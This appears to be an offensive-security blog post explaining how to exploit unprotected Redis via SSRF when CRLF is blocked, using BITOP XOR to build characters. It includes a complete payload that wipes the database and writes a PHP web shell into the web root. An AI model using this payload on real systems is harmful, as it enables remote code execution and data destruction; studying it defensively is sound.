About
There are a lot of articles, describing redis exploitation via http-based protocols. It might be a misconfigured reverse-proxy or SSRF vulnerability - whatever. But at the end every technique faces with one problem - we need to add spaces to our payloads, but sometimes this can be a tricky case.
Binary-safe redis protocol
Nicolas Grégoire in his article “Trying to hack Redis via HTTP requests” described almost everything you may need to successfully exploit not protected redis server. He also suggested to use binary-safe version of the redis protocol when we need to add spaces or another special characters into a payload.
It looks something like this:
*1
$8
flushall
*3
$3
set
$1
1
$7
myvalue
Each command starts with * followed by number of command parts (keywords + arguments). Before sending each part in binary-safe manner we should specify number of bytes in the following string:
$7
myvalue
Every line is terminated by by CRLF (%0d%0a
)
So, what if we are not allowed to use \r\n?
It might be a bunch of reasons to forbid us to send these vital %0d0a
, but we might still need passwords or any other special characters in our payload. Is there another way to create our payload?
Yes! Lets look into the redis documentation:
BITOP function allows us to perform bitwise operations between multiple keys:
BITOP AND destkey srckey1 srckey2 srckey3 ... srckeyN
BITOP OR destkey srckey1 srckey2 srckey3 ... srckeyN
BITOP XOR destkey srckey1 srckey2 srckey3 ... srckeyN
BITOP NOT destkey srckey
Using such a wonderful opportunity, we can recreate any character we need using those already available. For example, if we need space character:
_set a1 F
_set a2 f
_BITOP XOR payload a1 a2
We’ll get a space in our ‘payload’ at the end. So, now we can save our first php shell:
_FLUSHALL
_config set dir /var/www/html/
_set a1 ZY%16%0E%16F
_set a2 ffffff
_BITOP XOR payload a1 a2
_append payload eval($_GET[c]);%3f>
_config set dbfilename cmd.php
_save
The ‘payload’ key will hold <?php
value with vitally needed space after it.
What else can be useful?
Have a look at these redis commands:
SETRANGE - allows to insert given value to a desired position:
redis> SET key1 "Hello World"
"OK"
redis> SETRANGE key1 6 "Redis"
(integer) 11
redis> GET key1
"Hello Redis"
SETBIT - sets or clears the bit at needed offset:
redis> SETBIT mykey 7 1
(integer) 0
redis> SETBIT mykey 7 0
(integer) 1
redis> GET mykey
"\u0000"
References
- Redis protocol
- Trying to hack Redis via HTTP requests
- curl Based SSRF Exploits Against Redis
- From SSRF to getshell with Redis Unauthorized
- Redis SSRF
- Gopher attack surfaces